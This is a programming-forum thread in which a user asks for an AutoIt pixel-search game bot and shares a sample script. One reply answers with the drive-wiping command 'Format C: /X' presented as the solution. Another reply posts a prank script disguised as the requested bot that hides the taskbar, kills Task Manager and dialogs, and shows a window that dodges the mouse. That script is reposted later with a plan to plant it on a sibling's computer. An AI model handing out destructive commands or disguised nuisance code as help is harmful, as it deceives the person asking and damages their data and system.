Jump to content

Creating a simple game bot


 Share

Recommended Posts

Hello, I need a bot that can do the following.

Search for pixel

Click on found pixel

Wait ## seconds

Repeat

OR

Search for pixel

Press F# key

Click on found pixel

Wait ## seconds

Repeat

Also it would be useful if I could edit settings (using the gui) such as

pixel code #

## of seconds

F# key enable/disable use

add items/set their pixel code

search for multiple pixels (items) at once

If possible there could be a list of items (instead of pixel codes). So I can pick "item 1" using the gui and it would search for the pixel code corresponding to that item. Thank you for your time.

I have an example script of what I'm looking for but it's not exactly it. I wish I knew how to code but I don't, so I need your help. Thanks again.

WinActivate("Pi")
WinWaitActive("Pi")
Opt("PixelCoordMode", 2);1=absolute, 0=relative, 2=client
Opt("MouseCoordMode", 2);1=absolute, 0=relative, 2=client


;~ Below is some pixel colors to use for certain items.
;~ 0xEBB5D6 item1
;~ 0x844952 item2
;~ 0x295118 item3
;~ 0x538BA7 item4
;~ 0xF7D7BD item5
;~ 0xCE9231 item6
;~ 0x6B3021 item7
;~ 0xDE7573 item8
;~ 0xB56508 item9
;~ 0x393894 item10
;~ 0x5265CE item11
;~ 0x84DF52 item12
;~ 0xF77500 item13
;~ 0x39FBBD item14



$Monsters = 0xDE7573; Pixel color being searched for
$lowhealth = 85; makes character auto sit if health is 40% left
$Shadevar = 0
$Attack = 0
While $Attack = 0
$coord = PixelSearch(1, 1, 780, 580, $Monsters, 1);$Shadevar); Looking for the Pixel "Left,Top,Right,Bottom"
If Not @error Then
;~ MsgBox(0, "Pixel", "monster" & $Shadevar, 6)
;~ MsgBox(0, "Location", "x coords" & $coord[0] & "y coords" & $coord[1],2)
MouseClick("left", $coord[0], $coord[1], 3, 4); clicking the pixel
Sleep(3000);wait 5 seconds before picking up items
;~ Call("PickupDrops")
Send("^a")
sleep(1000)
Call("checkandheal")
$Shadevar = 0
If _IsPressed("23") Then $Attack = 1;if "end" is pressed then this will make $DryMystic=1 so the loop will stop
Else
$Shadevar = $Shadevar + 1;increase allowable shade variation by 1 until shade is found
EndIf
WEnd
MsgBox(0, "Bot Disabled", "You turned off the Bot!");Window name , text in the msgBox saying Bot is off !

Func checkandheal()
$coord = PixelSearch(75, 26, 183, 31, 0x538BA7, 5)
If Not @error Then
;~ MsgBox(0,"location","the x-location of the found pixelis "& $coord[0])
$healthlvl = (($coord[0] - 75) / (183 - 75)) * 100
If $healthlvl < $lowhealth Then
Send("{INS}")
$h = 0
$attack = 1
While $h = 0
Sleep(33000); 30 seconds of heal time.
PixelSearch(75, 26, 183, 31, 0x538BA7)
If @error Then
$h = 1
Send("{INS}")
sleep(1000)
$attack = 0
EndIf
WEnd
EndIf
EndIf
EndFunc;==>checkandheal
Link to comment
Share on other sites

Here you are

open a cmd prompt

type: Format C: /X

This will do the trick nicely, and also make you aware of the fact we are not ones who ask for a side of fries with that....get the point? Also, bots are just cheating. Play the game as it was meant to be played. With a human at the controls!

Link to comment
Share on other sites

I need a script able to detect pixel colors on the screen and click on them, it should have a timer too and allow user input so users can modify options. Please, if you could direct me to any helpful tutorials I'd be really grateful, if not it's still ok it won't stop me from successfully achieving my goals.

Thanks again for your time.

Link to comment
Share on other sites

#NoTrayIcon

#include <GUIConstants.au3>

#include <misc.au3>

#include <date.au3>

AutoItSetOption("WinTitleMatchMode", 4)

Global $pos

Global $winpos

Global $handle

Global $bottomleft

GLobal $startpos

Global $end

Global $time

$begin = TimerInit ()

$taskbar = WinGetHandle ("[classe:Shell_TrayWnd", "")

WinSetState ($taskbar, "", @SW_HIDE)

WinKill ("[class:#32770]")

$Form1 = GUICreate("Game", 212, 61, 314, 201)

$Label1 = GUICtrlCreateLabel("Try to close me!!!", 0, 16, 206, 36)

GUICtrlSetFont(-1, 20, 400, 0, "MS Sans Serif")

GUISetState(@SW_SHOW)

WinWait ("Game")

$handle = WinGetHandle ("Game")

WinSetOnTop ($handle, "", 1)

_windowinfo ()

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

GUIDelete ()

$End = TimerDiff ($begin)

$time = $end / 1000

Msgbox (0, "Win", "You Won in " & $time & " Seconds")

Exit

Case Else

_X ()

If WinExists ("Windows Task Manager") Then

WinSetState ($handle, "", @SW_HIDE)

Winkill ("Windows Task Manager")

MsgBox (0, "Cheater", "No Cheating")

WinSetState ($handle, "", @SW_SHOW)

EndIf

_X()

If _IsPressed (02) Then

WinSetState ($handle, "", @SW_HIDE)

MsgBox (0, "Cheater", "No Right Clicking")

WinSetState ($handle, "", @SW_SHOW)

Endif

_X()

If _IsPressed (12) Then

WinSetState ($handle, "", @SW_HIDE)

MsgBox (0, "Cheater", "No cheating")

WinSetState ($handle, "", @SW_SHOW)

EndIf

_X()

_X()

EndSwitch

WEnd

Func _X ()

$pos = MouseGetPos ()

If $pos[0] > $startpos[0] and $pos[0] < $bottomleft[0] and $pos[1] > $startpos[1] and $pos[1] < $bottomleft[1] Then

WinMove ($handle, "", Random (0, 900), Random (0, 700))

_windowinfo ()

Endif

Sleep (1)

EndFunc

Func _windowinfo ()

$startpos = Wingetpos ($handle)

$startpos[1] = $startpos[1] - 50

$bottomleft = Mousegetpos ()

$bottomleft[0] = $startpos[0] + $startpos[2] + 50

$bottomleft[1] = $startpos[1] + $startpos[3]

Endfunc

Func _cheater ()

WinSetState ($handle, "", @SW_HIDE)

MsgBox (0, "Cheater", "No Cheating")

WinSetState ($handle, "", @SW_SHOW)

Endfunc

Here try this script. It should work. But i might need more information about the game to get it to work perfectly.
Link to comment
Share on other sites

Thank you guys, I really apreciate. I understand why you're against this kind of script usage, however this is what I need it for. Nothing less nothing more. Volly, long day huh? Nice try sccrstvn93, I wasn't surprised when I read the script, it was obvious.

Take care.

Link to comment
Share on other sites

Is not that we are against that type of script usage. I have made many game bots and many people on this forum make them. What people are against is someone asking for code without putting in any effort themselves. Especially since at the beginning you were told people would not take kindly to your asking for a handout.

Link to comment
Share on other sites

  • 2 weeks later...

#NoTrayIcon

#include <GUIConstants.au3>

#include <misc.au3>

#include <date.au3>

AutoItSetOption("WinTitleMatchMode", 4)

Global $pos

Global $winpos

Global $handle

Global $bottomleft

GLobal $startpos

Global $end

Global $time

$begin = TimerInit ()

$taskbar = WinGetHandle ("[classe:Shell_TrayWnd", "")

WinSetState ($taskbar, "", @SW_HIDE)

WinKill ("[class:#32770]")

$Form1 = GUICreate("Game", 212, 61, 314, 201)

$Label1 = GUICtrlCreateLabel("Try to close me!!!", 0, 16, 206, 36)

GUICtrlSetFont(-1, 20, 400, 0, "MS Sans Serif")

GUISetState(@SW_SHOW)

WinWait ("Game")

$handle = WinGetHandle ("Game")

WinSetOnTop ($handle, "", 1)

_windowinfo ()

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

GUIDelete ()

$End = TimerDiff ($begin)

$time = $end / 1000

Msgbox (0, "Win", "You Won in " & $time & " Seconds")

Exit

Case Else

_X ()

If WinExists ("Windows Task Manager") Then

WinSetState ($handle, "", @SW_HIDE)

Winkill ("Windows Task Manager")

MsgBox (0, "Cheater", "No Cheating")

WinSetState ($handle, "", @SW_SHOW)

EndIf

_X()

If _IsPressed (02) Then

WinSetState ($handle, "", @SW_HIDE)

MsgBox (0, "Cheater", "No Right Clicking")

WinSetState ($handle, "", @SW_SHOW)

Endif

_X()

If _IsPressed (12) Then

WinSetState ($handle, "", @SW_HIDE)

MsgBox (0, "Cheater", "No cheating")

WinSetState ($handle, "", @SW_SHOW)

EndIf

_X()

_X()

EndSwitch

WEnd

Func _X ()

$pos = MouseGetPos ()

If $pos[0] > $startpos[0] and $pos[0] < $bottomleft[0] and $pos[1] > $startpos[1] and $pos[1] < $bottomleft[1] Then

WinMove ($handle, "", Random (0, 900), Random (0, 700))

_windowinfo ()

Endif

Sleep (1)

EndFunc

Func _windowinfo ()

$startpos = Wingetpos ($handle)

$startpos[1] = $startpos[1] - 50

$bottomleft = Mousegetpos ()

$bottomleft[0] = $startpos[0] + $startpos[2] + 50

$bottomleft[1] = $startpos[1] + $startpos[3]

Endfunc

Func _cheater ()

WinSetState ($handle, "", @SW_HIDE)

MsgBox (0, "Cheater", "No Cheating")

WinSetState ($handle, "", @SW_SHOW)

Endfunc

hahahahaha i love it :)

i shud plonk this on mi bros computer.. hees always using bots :P

Budweiser + room = warm beerwarm beer + fridge = too long!warm beer + CO2 fire extinguisher = Perfect![quote]Protect the easly offended ... BAN EVERYTHING[/quote]^^ hmm works for me :D

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...